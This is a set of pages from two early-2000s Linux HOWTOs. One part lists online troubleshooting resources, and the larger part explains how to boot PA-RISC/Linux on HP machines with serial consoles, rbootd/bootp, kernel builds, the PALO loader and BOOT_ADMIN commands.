11.5. An online dictionary of computer and technology terms

The PC Webopedia consists of a large online dictionary of computer-related terms and a search engine that provides links to documents that discuss each item in more detail. For example, I used this site to learn the differences between ISA and PCI buses.

11.6. A detailed Guide to Personal Computers

The Topic Index to the voluminous hardware guide at PC guide.com will give you a great idea of the contents of this website. I used it quite frequently when first installing Linux and configuring the X Window System. I learnt a lot about videocards and monitors, including the concepts of screen resolution, color depth etc., useful when troubleshooting X display problems.

Prev | Home | Next
Online Unix References and Tutorials |  | Concluding Comments


Online Support Sections

Online Troubleshooting Resources : HOWTO
Prev Next

5. Online Support Sections

These sections are typically found at the websites of Linux distributions, and often contain a variety of helpful documents with information not easily encompassed within a FAQ. Look for sections with one or more of the following titles:

  • Installation Support

  • Knowledge or Solutions Databases

  • Tips and Tricks

  • Errata, Fixes and Updates

  • White Papers

  • Technical Guides

  • Hardware Guide or Compatibility List

  • Security Information

  • Bug Tracking System

  • Bug Database

Some websites provide a site search engine that will facilitate your quest for a solution.

If you have a problem with a newly installed distribution, look here first as bugs and their fixes are typically posted here. You may find a detailed guide that will help you accomplish a task such as upgrading your kernel or the version of the X Window System you are using.

I recommend you spend some time at the website of the distribution you are using, familiarizing yourself with what is available.

Prev | Home | Next
Frequently-Asked-Questions (FAQs) |  | Usenet Newsgroup Archives


Internet Search Engines

Online Troubleshooting Resources : HOWTO
Prev Next

7. Internet Search Engines

I frequently use a Search Engine to retrieve helpful or necessary information from the 'net. These engines catalogue pages from commercial, personal and academic websites, as well as Mailing Lists and the like.

Of course, there are a large number of available Search Engines, and I suggest you try several before giving up on a particular quest. Research has shown that any one of them catalogues but a small portion of existent web pages. It is worthwhile becoming very familiar with the operational details of at least one non-directory engine to maximize the efficiency and efficacy of your search efforts. You probably already have a favorite - I like Google.com, and will discuss it in a little more detail.

7.1. Google.com

This engine has several novel features that are described in its Why use Google.com page. In particular, the engine often returns the most useful pages first; in fact, I have often found that the first listed page contains the information I need. Because it caches web pages, it is relatively fast at displaying requested items. It has a so-called GoogleScout (TM) feature, activated by clicking on the "similar pages" links, that provides additional relevant links with each item returned.

In addition, it has a specialized Linux Search Engine that I use as my primary Internet search tool. It searches the database of linux-related pages at Google.com further promoting search efficiency. Try it - I am confident you will bookmark it immediately.

Prev | Home | Next
Usenet Newsgroup Archives |  | Mailing List Archives


Online Unix References and Tutorials

Online Troubleshooting Resources : HOWTO
Prev Next

10. Online Unix References and Tutorials

As Linux is a Unix-like operating system, a general familiarity with fundamental Unix concepts such as the Unix directory hierarchy and file permissions is essential. Fortunately, there are many Unix tutorials online that collectively cover everything a user might need to know to use Linux. I suggest you bookmark the following as an online reference library:

  • The Command and Shell User's guide from Digital Equipment Corporation is an excellent guide to the Unix Operating System. Bookmark the Index Page linked there as an online reference.

  • UNIXhelp is mirrored on many servers around the world. It is a useful resource for newbies.

  • Introduction to Unix also contains a useful Unix Command Summary page with brief, but useful, explanations of commonly used Unix commands.

  • Unix is a Four Letter Word... is another resource suitable for newbies.

Prev | Home | Next
Online User's Manuals |  | Miscellaneous Resources


Usenet Newsgroup Archives

Online Troubleshooting Resources : HOWTO
Prev Next

6. Usenet Newsgroup Archives

The ability to search for and retrieve information from archived posts to the linux-related (Usenet) newsgroups represents a powerful means of troubleshooting in Linux.

Search engines permit one to search the archives by stipulating the forum, keywords, authors, dates, language and combinations thereof. Because the number of linux-related newsgroups is large, the likelihood of finding useful information is high.

The main web site that currently provides access to Usenet archives using a search engine is groups.google.com. The most effective way to do a search is to use its Advanced Groups Search page.

I would like to relate a brief anecdote to demonstrate the efficacy of this approach. The first time I attempted to build a kernel, I was presented with this error message when I invoked a "make" command:

make[1]: as86: Command not found make[1]: *** [bootsect.o] Error 127
make[1]: Leaving directory `/usr/src/linux/arch/i386/boot' make: *** [zImage]
Error 2

I had no idea what as86 was, but I entered it as the keyword in the Subject field of the Advanced Groups Search page at groups.google.com, and was presented with a large number of posts from folks who had encountered the same problem. Respondents had provided the reason and solution: I did not have an assembler/linker necessary to create machine code, and the bin86 package provided it. I downloaded and installed a RPM package of the latter and was on my way. This entire process took about 10 minutes (I do have an ADSL connection to the 'net !).

Prev | Home | Next
Online Support Sections |  | Internet Search Engines


Online User's Manuals

Online Troubleshooting Resources : HOWTO
Prev Next

9. Online User's Manuals

Some of the major Linux distributions, Window Managers and Desktop Environments publish their user's manual online. If the entire manual is not online, installation and configuration guides are typically found at the relevant website. This also applies to major applications like the Gimp (GNU Image Manipulation Program).

So, for those users who do not have the printed manual, a wealth of installation and configuration guidance is generally available online.

Prev | Home | Next
Mailing List Archives |  | Online Unix References and Tutorials


What you need to know about BOOT_ADMIN

PA-RISC/Linux Boot HOWTO
Prev Next

6. What you need to know about BOOT_ADMIN

BOOT_ADMIN is an early console where you can execute some precise commands. Here, you should find everything you need. On all HP systems using PA-RISC processor, you will find BOOT_ADMIN, the display can be different but the idea remains. That's why the list is not complete but enough. Another major point is for every command, you have a shorter way to invocate them. You can see the shortcut because it is shown by the uppercase letters. I will put the full name for these sections.

6.1. The main commands

These commands are the basic ones.

  • boot must be followed by an argument which indicates the path you want to boot. The path should be thedefinition of a device like for example FWSCSI.6.0 or PRI if you have initialized this variable correctly.

  • path displays or sets the previous path. You just have to type: path pri fwscsi.6.0. But, you can set also the paths of the console (graphics/serial) and of the keyboard (ps2/hil).

  • search is a very useful command. It checks automatically and displays all the bootable pathes. In the recent versions, it links them to a shortcut. It detects even if the box can do boot lan.

  • display redisplays the current menu.

  • help gives you an overview of what the command does. By default, you can have all the commands by typing help main.

  • On approximately every system, you have a reset instruction. It makes the box reboot with the newest parameters you hase set.

6.2. The configuration commands

These commands are available in the configuration menu. So, in order to use them, you must enter this menu with configuration command.

  • auto will show you if the box will boot by default or will do a search. You can influence these parameters with the keywords ON and OFF.

  • bootinfo lists all the boot parameters of the system.

  • default sets back the predefined values.

  • monitor sets your display configuration by typing mo <path> <type> which indicates your console path and secondly your type. If you do not know your monitor type, via mo list, you have all the necessary info.

6.3. The information commands

Here, you will have access to all the informations about your system. Go into the menu is done by asking for information.

  • all should display everything you need.

  • fwrversion gives your fimrware revision. You can check if your firmware is updated with this file.

  • lanaddress contains the MAC address of the system.

6.4. The service commands

It is PA-RISC guru skill menu. You will find nothing really interesting for an end-user. That's why you will find nothing. If you think I should really put something, please mail me.

Prev | Home | Next
Booting your PA-RISC/Linux system via PALO, the kernel loader |  | HOWTO contributors


Booting your PA-RISC/Linux system via PALO, the kernel loader

PA-RISC/Linux Boot HOWTO
Prev Next

5. Booting your PA-RISC/Linux system via PALO, the kernel loader

5.1. What is PALO?

PALO is two programs, a boot loader, which is loaded by the HP firmware into memory and then executed, and boot media management tool, which initializes and updates bootable media such as disks. The PALO boot loader executable is stored in a file called iplboot. "IPL" is HP jargon for Initial Program Loader. The boot media management tool is called PALO, just as on x86 the lilo boot media management tool is called LILO, though it's worth noting that PALO doesn't usually need to be used every time you build a new kernel, as LILO does.

5.2. What does PALO?

The main idea is to boot a kernel passing all the parameters it needs. The practical experience is a little more complicated. Indeed, PALO can transform the classical vmlinux into a HP-UX bootable lifimage including a RAMDISK or a NFSROOT redirection. However, it could make a hard disk drive bootable specifying the console output and the root device. We are going to see all these points precisely. The major point is that lifimage file is a bootable kernel and vmlinux is the kernel itself and it needs PALO to be bootable.

5.3. How to make a lifimage with RAMDISK ?

First point is to explain when you should use this way. At an earlier step of PA/Linux project, the lifimage was very useful. In fact, you put this file in the bootp server tree and then you can boot your HP box via boot lan instruction. The advantage of ramdisk is to unpack its own file system and to be completely independant. The main drawback is the fact that you have to build your own ramdisk if you have some memory constraints or some files customized. Now, let's see how to get a lifimage. So, you get the latest source of PA/Linux. Mainly, you will need a good cross-compiler and the linux and palo directory. Everything you need is at http://www.parisc-linux.org/. You do your make menuconfig. Then, you just have to do make palo. The point is that in the palo directory, you have the PALO Makefile in which you have to select the ramdisk file. So, initially, you can read:
# RAMDISK = ${PA}/ramdisk.bin
Thus, if you want to use the RAMDISK support with a file called for example ramdisk.bin and placed in the linux directory, you just have to uncomment it:
RAMDISK = ${PA}/ramdisk.bin
After configuring the Makefile, you can go into the linux directory and launch your make palo. The result, a lifimage file, is waiting for you in the PALO directory.

5.4. How to make a lifimage with NFSROOT ?

This method is widely used because the kernel and the file system is visible since your server. It is also very easy to test a new kernel. You just have to generate the kernel and then you put it in the correct directory. After rebooting, the HP box will find via boot lan instruction its new kernel. Getting the NFSROOT support is easier than the RAMDISK. You edit the Makefile of PALO and you specify the tftpboot server IP adress. In fact, if your server has 10.10.10.2 for IP adress, then the default file is ok because we can read into:
NFSROOT = 10.10.10.2
If you have anything else, this field must be completed by the correct data. After configuring the Makefile, you can go into the linux directory and launch your make palo. The result, a lifimage file, is waiting for you in the PALO directory.

5.5. How to make bootable a partition ?

This part is where PALO will be seen as LILO. PALO is mainly a program that enables HP box to boot via a kernel on its own hard disk drive. This section is going to explain you how to make it right. When you install the PALO package, Paul Bame, the author and maintainer, put a copy of the default /etc/palo.conf in the /usr/doc/share/doc/palo/palo.conf. If you want to understand how PALO works, you just have to read this file! This sample comes from palo.conf. It is the default value. We advice you to stay close to this scheme. However, the parameter recoverykernel is the path to the kernel that you want to boot with in a failsafe session! The next one, bootloader, is the path to this utility which is produced by PALO when you ask for make iplboot. init-partitioned is used to tell on which device you want to write the result. The effect is immediate. It means that PALO is going to write on the first octets of this partition. A good advice will be to check this info with fdisk, in order to be sure to update the good drive. Finally, the last parameter is the commandline! The first number indicates which partition PALO has to mount in order to get the kernel file! Logically, the following string is the absolute path to the kernel. HOME and TERM seem to be some environmental parameters passed to init. They are not compulsory but they can be useful. The root parameter explains to the kernel which partition it must mount for the root file system in read-only while booting. It can be tricky when you plug two disks. You could add some very interesting parameters like console where you can specify the output for the console. You should know that console=ttyS0 is for a serial console and console=tty0 is for a STI-console. In the latest version of PALO, this path should be added automatically and correctly. If not, please mail to the mailing list.
# The following arguments are set up for booting from /dev/sda3, specifically
# mounting partition 3 as root, and using /boot/vmlinux as both the
# recovery kernel, and the default dynamically-booted kernel.
# --recoverykernel=/boot/vmlinux
# --bootloader=/boot/iplboot
# --init-partitioned=/dev/sda
# --commandline=3/boot/vmlinux HOME=/ TERM=linux root=/dev/sda3

5.6. How to use PALO at the boot ?

5.6.1. The theory

After installing your PALO, you would like to modify the parameters you pass to the kernel. First, you must know how to interact with PALO at the startup. For some old models, you must add ipl to your command in the boot admin console: BOOT_ADMIN> boot pri ipl For the recent HP boxes, the system will ask you if you want to interact with IPL. You just have to answer by a "y". Then, you are in PALO with the list of all the parameters and the corresponding number. Then, you enter the number of the parameter you want to change. You hit Enter and you modify it and you validate. The system will redisplay the new list. This modification is not permanent! To write your changes, you have to run /sbin/palo and it will write on the disk all the parameters contained in the default file, eg /etc/palo.conf. If you want to add another parameter, you select one parameter and write yours with a space between the two. If you want to delete one, you select it and erase the complete entry. You will see that the list counts one parameter less.

For more informations about PALO, please look at the PALO readme. This section is mainly inspired from this Paul Bame's file and my current page about PALO that you can find at http://mkhppa1.esiee.fr/palo.html.

5.6.2. One example

This example is the work of Michael Damaschke. So, let's go for the story of the happy PA/Linux user booting a kernel, also called I don' t know how I can configure my workstation to boot the right kernel I want ?.

After the power on of your workstation and monitor there is a message on the screen how told you that the workstation wants to start automatically an bootdevice or you can hold the Esc key to break up the auto-booting., on this situation you must hold the Esc key.

Note

Depending on your model, you need to press this key during a long time. Also, your monitor can be too slow to be up while the message is on the screen. So, if you see your leds on your keyboard blinking, it is the signal to press and hold the Esc key. If you still have troubles, please refer to the Consoles section.

Now, there is some little differences about the way to get access to BOOT_ADMIN If you have an old box, you get a new Information message on your screen where the workstation-firmware told you that it would like to search for all bootable devices or you can break this by holding the Esc key. So you must do the same procedure you have done before, you must hold the Esc key.

Then you get a menu where you must push the a-key with following ENTER-Key, so know you are on the BOOT_ADMIN Prompt. First, we must turn off the auto booting by the following lines on the BOOT_ADMIN Prompt:
BOOT_ADMIN> autoboot off
then press the ENTER key.

After that, you must tell the system from wich SCSI boot device you would like to boot. This device must have the f0 type partition where the PALO loader lives.

For this example, the old kernel is vmlinux-2.4.9-32 and the new one for example vmlinux-2.4.17-pa3. The format of the SCSI boot device is: SCSI.X.0 where X is the SCSI-ID of the disk you want. For example:
BOOT_ADMIN> boot SCSI.5.0
After the command boot and the SCSI-ID, you must add IPL if you have a HP 9000/7xx to tell that you want to interact with IPL. If you have a more recent hardware, the system will ask if you want to interact with IPL:
Interact with IPL (Y or N)?>
Now, you can manual configure the PALO booting parameters. For example:
BOOT_ADMIN> boot scsi.5.0 ipl
then press the ENTER key.

Now you can see a new Menu where you can configure on line 0 (default) the boot partition number, the path and the name where your boot kernel is. It should looks like this:
HARD Booted.
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
3/vmlinux-2.4.9-32 3585851 bytes @ 0x6d8f800
Current command line:
3/vmlinux-2.4.9-32 root=/dev/sda3 console=ttyS0 TERM=vt102
 0: 3/vmlinux-2.4.9-32
 1: root=/dev/sda3
 2: console=ttyS0
 3: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? 0
You are asking PALO to boot the kernel file vmlinux-2.4.9-32 living on the third partition of scsi.5.0. But you want another kernel this time. So, you press the ENTER key and you modify the text to match with your needs, here vmlinux-2.4.17-pa3. You validate your input via the ENTER key. Then, it asks you which field you want to edit, just put "b" to boot your new kernel! After that you must press the ENTER key, please don't chance other parameters if you don't know what you do ! Now, PALO has no secret for you :-)

Prev | Home | Next
Building your own PA-RISC/Linux kernel |  | What you need to know about BOOT_ADMIN


HOWTO contributors

PA-RISC/Linux Boot HOWTO
Prev

7. HOWTO contributors

The following people contributed or reviewed the Deb's version of the HOWTO in one way or another.

  • David Alexander deVries <adevries@thepuffingroup.com>

  • Philip Imperial Schwan <pschwan@thepuffingroup.com>

For the Thomas' version.

  • Michael Damasche <sps01@uni-koeln.de> Thanks for your example

  • Helge Deller <deller@gmx.de>

  • Grant Grundler <grundler@puffin.external.hp.com>

  • Richard Hirst <rhirst@puffin.external.hp.com>

Prev | Home
What you need to know about BOOT_ADMIN |


Copyright and Licensing

PA-RISC/Linux Boot HOWTO
Prev Next

1. Copyright and Licensing

Copyright © 2001-2002 Thomas Marteau.
Copyright © 1999 The Puffin Group and Deb Richardson.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license can be found at http://www.gnu.org/copyleft/fdl.html.

Prev | Home | Next
PA-RISC/Linux Boot HOWTO |  | Supported Hardware


Supported Hardware

PA-RISC/Linux Boot HOWTO
Prev Next

2. Supported Hardware

Releasing the 0.9.3 version of PA/Linux, a great improvment was made in term of quantity and quality of hardware support. That's why, even if your model is not listed, give it a try and report your result to the mailing list. The following PA-RISC machines can be booted like any other box of a different architecture. I must add that this list can change at any time. The best way to get an updated list is to look at http://mkhppa1.esiee.fr/list.html. At this URL, you will know if your hardware is supoorted and how. If you can run PA/Linux via the serial console or via the graphic card. You will also find everything you need there like the PDC firmware updates.

  • any 712 models. You can get X running on them via framebuffer device!

  • any 715 models including Strider series.

  • any 710, 720, 730, 750 models should be running with the latest ISO. It contains some modifications specially for hard disk devices.

  • some 725, 735, 755 models are running with the latest kernels. But since there was not a lot of feedback about these machines, we can not be more explicit.

  • A180C and similar.

  • A500 and similar.

  • BXXX models like B132, B180. These boxes can be used in the framebuffer mode via the Standard Text Interface.

  • CXXX models like C110, C160.

  • CXXXX models work with the I/O devices linked to the first IOMMU.

  • D class is normally working. However, many very different configurations exist in the D-class. As a result, it is quite difficult to make a general statement.

  • J class is the SMP version of CXXXX models. So, I have to do the same remark.

  • L1000 and L2000.

The following hardware will work in the future:

  • L3000 model.

  • N class.

  • SuperDome class.

The following hardware won't work:

  • very old boxes like 705s.

  • E,F,G,H,I class. It seems that Christoph Plattner made his E55 running.

  • T,V class

Prev | Home | Next
Copyright and Licensing |  | Preparing to boot


PA-RISC/Linux Boot HOWTO

Deb Richardson

The Puffin Group

deb@thepuffingroup.com

Thomas Marteau

ESIEE

marteaut@esiee.fr

Revision History
Revision 0.9 | January 15, 2002 | Revised by: tm
This version brings you some useful advices for compiling your own kernel on hppa systems.
Revision 0.8 | October 17, 2001 | Revised by: tm
This version takes care of the change of name of the official FTP and CVS sites and modify the license.
Revision 0.7 | October 13, 2001 | Revised by: tm
This version adds some updates due to the progress of PA/Linux.
Revision 0.6 draft | September 26, 2001 | Revised by: tm
This version contains some minor changes and complete the "obtaining bootp/tftpd" section.
Revision 0.5 draft | August 3, 2001 | Revised by: tm
This version is a large update from Debbie's work
Revision 0.3 draft | November 24, 1999 | Revised by: dlr
The initial and published version of this HOWTO.

This document outlines the procedures for getting the current PA-RISC/Linux development kernel to boot on your PA-RISC system. It also explains the functions of PALO, the kernel loader for PA/Linux. Also, you will find many informations about how to compile a kernel from the source available at http://cvs.parisc-linux.org/. Please notice that this HOWTO is a newer version than Deb Richardson's and includes more accurate informations due to the progress of the port. Nevertheless, I must say that this version keeps some texts of the oldest one and I reveal some hidden works of Deb.

If you are looking for some informations related to HP hardware but not directly to PA-RISC, please read Bruno Cornec's HP-HOWTO.

For more information about the PA-RISC/Linux porting project, please see http://www.parisc-linux.org/. This site deals with kernel development and improvment. For userspace troubles, please refer to Debian's port pages.

Table of Contents
1. Copyright and Licensing
2. Supported Hardware
3. Preparing to boot
3.1. Consoles
3.2. Preparing to boot from the network
4. Building your own PA-RISC/Linux kernel
4.1. GCC compiler
4.2. Kernel configuration
4.3. Kernel installation
5. Booting your PA-RISC/Linux system via PALO, the kernel loader
5.1. What is PALO?
5.2. What does PALO?
5.3. How to make a lifimage with RAMDISK ?
5.4. How to make a lifimage with NFSROOT ?
5.5. How to make bootable a partition ?
5.6. How to use PALO at the boot ?
6. What you need to know about BOOT_ADMIN
6.1. The main commands
6.2. The configuration commands
6.3. The information commands
6.4. The service commands
7. HOWTO contributors
Next
Copyright and Licensing


Preparing to boot

PA-RISC/Linux Boot HOWTO
Prev Next

3. Preparing to boot

Like any other system, machines based on PA-RISC processors has several steps in order to be running. First of all, you must set properly the hardware parameters. Then, it must get a first boot in order to launch the installation process. Once the kernel is set up, you can reboot and then you install all your file system. At this point, your system is installed and running. This paper tries to separate the text into these different moments.

This first section introduces several HP hardware parameters configurable via HP BOOT_ADMIN

3.1. Consoles

In order to boot your PA-RISC system with the PA/Linux kernel, you must first get a console on that system. You can use either a graphic console, which requires that a monitor be attached to the system, or a serial console, which allows communication with the system from a remote Linux machine. For the graphic console, you must be sure that the Linux support the graphic card of your system and there are two ways to get the graphic console. If you think about bug reporting your trouble, you must differenciate the two of them. First, the STI console is the classical video text console like on your PC for example. This name is due to the fact that each HP box has the Standard Text Interface which contains some standard ways to access to video memory. Second graphic console is the framebuffer console. In fact, while booting, you will see a penguin appeared on the top-left corner. This is the easiest way to differenciate the two graphic modes. For the serial console, it is a good way to get all the prompt messages including the BOOT_ADMIN ones. It is very useful for bug reports. The majority of servers can only be used by the serial console.

If you have a monitor for your PA-RISC system, the easiest method is to use a graphic console. If you have troubles, the best way is serial console.

3.1.1. Using a graphic console

Using a graphic console is just a fancy way of saying "use the monitor attached to the machine". If you have a monitor for your PA-RISC system, you should be able to bring up a console using the monitor, without having to mess with changing to and configuring a serial console.

Obviously, if you can use a graphic console, this is the easiest way to proceed. Nevertheless, you must be sure that your hardware is supported.

3.1.2. Using a serial console

The only time that you should have to use a serial console is if you either don't have a monitor for your PA-RISC machine, or your machine doesn't support graphics. Also, the kernel can NOT use the graphics console of some models, at the moment. So, if you need to use a serial console, use the following procedures to set up serial console support.

3.1.2.1. Serial Cable

To connect your PA-RISC machine to your PC so you can boot the system using a console, you need a 9 pin-to-9 pin female null-modem cable. You should be able to obtain such a cable at your local computer hardware supplier. Obviously, you can connect the other end of the cable to a terminal but the best is to connect it to another box running minicom to get every messages and to copy and paste them logged in a file in order to get a complete and easy bug report.

3.1.2.2. Configuring minicom on Linux

In order to communicate with your PA-RISC machine during this process, you have to set it up in "serial console" mode and configure a serial communication program. We recommend minicom,which is installed in most Linux distributions by default. If you don't have minicom on your system, you can find the latest package at any of the major Linux software sites.

Most of the minicom configuration is machine-dependent. You must, however, ensure that:

  1. the baud rate is set to 9600

  2. parity is set to 8-N-1

Don't worry too much because it is the default value for PA-RISC system. If you have a PC, you will probably need to change the baud rate but it seems that PA-RISC systems do like that too much.

3.1.2.3. Switching consoles

Before you can set up a serial connection between your Linux machine and your PA-RISC machine, you have to change the console mode on the PA-RISC system.

The default console mode is graphic_1. To change this, use the following procedure:

  1. Turn the PA-RISC machine on.

  2. During the boot process, the following message will appear:

    Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

    When this message appears, press and hold the Esc key until an options menu appears.

  3. By default, you enter the BOOT_ADMIN console. In some 715s, the options menu looks like this:

    b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu:

    Select "a) Enter Boot Administration mode". This will bring up a "BOOT_ADMIN>" prompt. Everything else you do will be in BOOT_ADMIN mode. So now, everybody is in the BOOT_ADMIN console!

3.1.2.3.1. Checking current console mode

Type: path console to see to which mode the console is currently set.

If it's in graphic console mode, it will return "Console path = graphic_1".

If it's set to serial console, it will return "Console path = rs232_a.9600.8.none" or something similar.

Note

Note that for some models, you can find some differences but the idea is the same. If you want to see more descriptions, please write a message telling me the box you use and what you get.

3.1.2.3.2. Changing to serial console mode

To change to serial console mode, type the following command at the BOOT_ADMIN command prompt:

path console rs232_a.9600.8.none

To verify that the console path has been properly set, type path console. This should return Console path = rs232_a.9600.8.none, indicating that the system is now set to boot in serial console mode. By default, reset will make reboot your system with the new parameters.

3.1.2.3.3. How can I change the boot console to serial on a 712?

Unfortunately, you can't. Although 712s are configured for in-house HP development to use serial console, this configuration isn't supported in the field. You have to use a graphics console for 712s but if you really want it, you have a tip in the PA/Linux mailing list archive. In fact, why will we use this beautiful 712 with serial console when you can have X!

3.1.2.3.4. Changing to graphic console mode

It is the opposite operation compared to the upper one. By checking your console path, you should see Console path = rs232_a.9600.8.none Now, you must set your grahic mode via BOOT_ADMIN

path console graphic_1

You should get the display available after a reset. If the screen does not seem to work, try to press the Tab key to change the resolution of your display. Pressing this key, the monitor type changes to one resolution to another one. Perhaps, you need to this operation several times. This is true also when you change your monitor.

3.2. Preparing to boot from the network

This is a very old way to operate but it used to be the only way. Now, you do not need to boot via the network except some very specific case. That's why it is still here.

3.2.1. rbootd or bootp?

All new machines can boot using bootp, including the 715/100, 715/120, as well as all 712s.

3.2.2. Using rbootd

3.2.2.1. Obtaining rbootd

If you have an older machine that requires rbootd to boot off a network, use the following procedure to set up, configure, and boot using the PA-RISC/Linux kernel.

Older machines, including the Scorpio 715s, require rbootd. You can obtain rbootd:

  • for all the distributions except Debian, you need to get this archive via http://mkhppa1.esiee.fr/download.html

  • for Debian, from http://www.debian.org/Packages/stable/net/rbootd.html

3.2.2.2. Configuring rbootd

For example, to boot a PA-RISC 715 system, you have to have rbootd installed on the Linux system (a "boot server") where you will be storing the PA-RISC/Linux kernel image that you want to use to boot your PA-RISC system.

Once installed, use the following procedure to configure rbootd to work with your PA-RISC system:

  1. In /etc/rbootd.conf add the following line:

    ethernet addr bootfile

    Replace bootfile with the name of your PA-RISC/Linux kernel image, usually "lifimage".

  2. Now get the ethernet address of your PA-RISC system by typing lan_addr at the BOOT_ADMIN prompt on your PA-RISC system.

    It will return a number like 080009-7004b6. Make note of the number returned.

  3. In /etc/rbootd.conf on your boot server, the ethernet address has to be colon-delimited. So, you'll have to modify the number you just obtained so every two characters (after removing the "-") is separated by a colon. For example:

    080009-7004b6

    becomes

    08:00:09:70:04:b6

    Add the colon delimited ethernet address to /etc/rbootd.conf on your boot server. The resulting file will look something like this:

    # ethernet addr        boot file(s)        comments

08:00:09:87:e4:8f      lifimage_715        # PA/Linux kernel for 715/33
08:00:09:70:04:b6      lifimage_720        # PA/Linux kernel for 720

    This rbootd.conf example contains the ethernet addresses and boot file names for two different machines.

    Once you have changed the configuration file, restart rbootd.

By default, rbootd assumes that bootfiles are located in /var/lib/rbootd/. If you use the archive for others distributions, this directory is /usr/mdec/rbootd/. Therefore, you will have to put your bootable kernel image in that directory, or, if you really hate that directory for some reason, you can recompile rbootd to use a different directory.

The easiest thing, of course, is to just drop your kernel images in your default directory!

3.2.3. Using bootp/tftp

3.2.3.1. Obtaining bootp/tftp

For Debian users, you just have to install the packages via these commands as root:
apt-get install bootp
apt-get install tftpd

Note

The package bootp can be replaced by dhcp. But, this howto won't go further in this way. For your information, after installing the package dhcp, you have a section in /etc/dhcpd.conf about BOOTP and you can always try man dhcp.

If you need rpm packages, the best advice is to go to http://rpmfind.net. It looks like for Red Hat users, you need to create the user "nobody" belonging to the group "nogroup". The files contained in your /tftpboot/ directory should belong to him.

3.2.3.2. Configuring bootp/tftp

Use the following procedure to use bootp on your boot server:

Note

This section is dedicated to Debian users. For others distributions, it is similar but there can be some changes like default directories. Since Debian maintained a bootp package, I will discuss about it only. For dhcp configuration, it is not planned to be added.

  1. Configure /etc/inetd.conf on your boot server by adding the following lines:

    tftp            dgram   udp     wait    nobody  /usr/sbin/tcpd       /usr/sbin/in.tftpd /tftpboot
bootps          dgram   udp     wait    root    /usr/sbin/bootpd     bootpd -i -t 120

    Here, /boot is being used for tftpd server. You can choose another directory if you want. According to man tftpd, the default directory is /tftpboot.

    When this is done, restart inetd with: /etc/rc.d/init.d/inetd restart.

  2. According to man bootptab, set up the /etc/bootptab file to contain:

    [hostname]:hd=/tftpboot/Image:\
                             :rp=/usr/src/parisc/:\
                             :ht=ethernet:\
                             :ha=[mac address]:\
                             :ip=[ip address]:\
                             :bf=[boot filename]:\
                             :sm=255.255.255.0:\
                             :to=7200:

    You have to fill in the [hostname], [mac address], and [ip address] with the appropriate information, of course, where:

    • [hostname] is the name of the PA-RISC host

    • [mac address] is the ethernet address of the PA-RISC box, which you obtain by typing lan_address at the BOOT_ADMIN> prompt

    • [ip address] is the IP address of the PA-RISC system

    • [boot file name] is the name of the bootable kernel image.

    You'll end up with something like this:

    vodka:hd=/tftpboot:\
                             :rp=/usr/src/parisc/:\
                             :ht=ethernet:\
                             :ha=080069088717:\
                             :ip=140.244.9.208:\
                             :bf=lifimage:\
                             :sm=255.255.255.0:\
                             :to=7200:

3.2.4. Booting your PA-RISC/Linux system via network and with serial console

To conclude with the development way to boot the kernel, this section will tell you how to boot if you are using a server to boot your HP system. But it tends to less and less used. For users, please refer directly to PALO section.

Here we are. This is just some tips to get the boot for those who tried the network way. You've done everything outlined above, your development machine is hooked up to your PA-RISC machine, you've got a bootable PA-RISC/Linux kernel image on your boot server, and you're ready to give it a try. If everything is as it should be, the following procedure will allow you to boot your PA-RISC system into Linux.

  1. Make sure your development machine is connected to your PA-RISC machine with a serial cable. Sounds obvious, but check anyway.

  2. Fire up minicom on your development machine.

  3. Start your PA-RISC system up.

  4. Watch your minicom console. When the following message appears during the PA-RISC machine's boot process, press and hold the Esc key:

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

  5. Select "a) Enter Boot Administration mode" from the menu. This brings up the BOOT_ADMIN> prompt.

  6. Type the following at the prompt: boot lan.

  7. Watch your PA-RISC system magically become a PA/Linux system. Ta dah!

Prev | Home | Next
Supported Hardware |  | Building your own PA-RISC/Linux kernel


Building your own PA-RISC/Linux kernel

PA-RISC/Linux Boot HOWTO
Prev Next

4. Building your own PA-RISC/Linux kernel

To build a Linux kernel, you need a compiler and the Linux source. The first element is not a trivial thing to find because it depends on how you build your kernel. The second is easier since it lives on the official CVS site. First, we will discuss about GCC compiler. Then, the configuration of your build will be treated. The last paragraph will deal with the installation of this new kernel.

4.1. GCC compiler

You can compile your kernel with your own HP box. But on oldest systems, perhaps, you prefer to use another computer to compile your kernel. Let's see the two alternatives:

4.1.1. native build

Since Debian is the only distribution supporting PA-RISC architecture, if you want to use the Super Cow powers, you need to have some basic informations about Debian packages system first.

4.1.1.1. apt-get and friends

apt-get is a simple command line utility that manages your Debian package system. First, Gustavo Noronha Silva wrote APT HOWTO that I invite you to read for deeper knowledge. Here, we just want to build a kernel. Since hppa port is not out yet, you should be very careful with the mirrors you choose in your /etc/apt/sources.list. For example, In Germany, you can use the following settings:
# non-US packages
deb http://www.ftp.uni-erlangen.de/pub/debian/ unstable/non-US main non-free contrib
# Binary packages
deb http://gluck.debian.org/debian unstable main contrib non-free
# source packages
deb-src http://gluck.debian.org/debian unstable main contrib non-free

4.1.1.2. update your gcc

If you are using your own HP box, you need only the classical GCC compiler. The recommendation is to update to the last version uploaded by the developpers.
apt-get update
apt-get upgrade
If you do not want to upgrade all your system, the package description of kernel-source, you need to get those packages updated:

  • binutils

  • fileutils

  • gcc

  • libc-dev

  • make

When you did this step, you can procede to the kernel tweaking.

4.1.2. cross compiled build

For this way of building your kernel, everything depends on the architecture of your building machine. For PC, you can download an already-made cross compiler on PA/Linux FTP server. For the others architectures or if you want to compile your own toolchain, please refer to Carlos O'Donell's HOWTO.

4.2. Kernel configuration

The best way to get performance is to get a well configured kernel. For PA-RISC platform, make oldconfig is a kind of default setup. If you want to make your own kernel, the first step is to know what is your hardware. The best way is to look at your box and find a maximum of information. Then, you go to the official hardware database or the HP partsurfer.

When you know what is inside your box and what you want to do with your box, just run make menuconfig or another config command. Here is the list of menus you should be going in to see if the value set corresponds with your hardware:

  • Processor type indicates your CPU model

  • General options tells you what is going to be enable in your kernel

  • Network device support is used to set your network card

  • Character devices shows your I/O possiblities

  • Console drivers is directly related to your console path

  • Sound enables your Harmony hardware

